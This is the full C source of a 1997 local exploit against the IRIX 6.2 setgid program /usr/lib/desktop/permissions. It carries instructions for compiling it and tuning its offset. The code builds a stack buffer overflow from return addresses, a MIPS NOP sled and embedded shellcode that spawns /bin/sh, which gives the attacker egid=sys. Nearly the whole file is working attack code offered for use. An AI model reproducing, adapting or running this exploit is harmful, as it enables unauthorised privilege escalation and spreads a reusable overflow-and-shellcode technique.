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- /* /usr/lib/desktop/permissions exploit by DCRH 26/5/97
- *
- * This gives you egid = sys
- *
- * Tested on: R8000 Power Challenge (Irix64 6.2)
- *
- * Exploit doesn't work on Irix 5.x due to stack position
- *
- * compile as: cc -n32 perm.c
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/types.h>
- #include <unistd.h>
-
- #define NUM_ADDRESSES 400
- #define BUF_LENGTH 700
- #define EXTRA 500
- #define OFFSET 0x200
- #define GP_OFFSET 31612
- #define IRIX_NOP 0x03e0f825 /* move $ra,$ra */
-
- #define u_long unsigned
-
-
- u_long get_sp_code[] = {
- 0x03a01025, /* move $v0,$sp */
- 0x03e00008, /* jr $ra */
- 0x00000000, /* nop */
- };
-
- u_long irix_shellcode[] = {
- 0x24041234, /* li $4,0x1234 */
- 0x2084edcc, /* sub $4,0x1234 */
- 0x0491fffe, /* bgezal $4,pc-4 */
- 0x03bd302a, /* sgt $6,$sp,$sp */
- 0x23e4012c, /* addi $4,$31,264+36 */
- 0xa086feff, /* sb $6,-264+7($4) */
- 0x2084fef8, /* sub $4,264 */
- 0x20850110, /* addi $5,$4,264+8 */
- 0xaca4fef8, /* sw $4,-264($5) */
- 0xaca6fefc, /* sw $4,-260($5) */
- 0x20a5fef8, /* sub $5, 264 */
- 0x240203f3, /* li $v0,1011 */
- 0x03ffffcc, /* syscall 0xfffff */
- 0x2f62696e, /* "/bin" */
- 0x2f7368ff, /* "/sh" */
- };
-
- char buf[NUM_ADDRESSES+BUF_LENGTH + EXTRA + 8];
-
- void main(int argc, char **argv)
- {
- char *env[] = {NULL};
- u_long targ_addr, stack, tmp;
- u_long *long_p;
- int i, code_length = strlen((char *)irix_shellcode)+1;
- u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;
-
- stack = get_sp();
-
- if (stack & 0x80000000) {
- printf("Recompile with the '-n32' option\n");
- exit(1);
- }
-
- long_p =(u_long *) buf;
- targ_addr = stack + OFFSET;
-
- if (argc > 1)
- targ_addr += atoi(argv[1]) * 4;
-
- if (targ_addr + GP_OFFSET > 0x80000000) {
- printf("Sorry - this exploit for Irix 6.x only\n");
- exit(1);
- }
-
- tmp = (targ_addr + NUM_ADDRESSES + (BUF_LENGTH-code_length)/2) & ~3;
-
- while ((tmp & 0xff000000) == 0 ||
- (tmp & 0x00ff0000) == 0 ||
- (tmp & 0x0000ff00) == 0 ||
- (tmp & 0x000000ff) == 0)
- tmp += 4;
-
- for (i = 0; i < NUM_ADDRESSES/sizeof(u_long); i++)
- *long_p++ = tmp;
-
- for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
- *long_p++ = IRIX_NOP;
-
- for (i = 0; i < code_length/sizeof(u_long); i++)
- *long_p++ = irix_shellcode[i];
-
- tmp = (targ_addr + GP_OFFSET + NUM_ADDRESSES/2) & ~3;
-
- for (i = 0; i < EXTRA / sizeof(u_long); i++)
- *long_p++ = (tmp << 16) | (tmp >> 16);
-
- *long_p = 0;
-
- printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);
-
- execle("/usr/lib/desktop/permissions", "permissions",
- "-display", getenv("DISPLAY"), "/bin/ls", buf, 0, env);
- perror("execl failed");
- }
-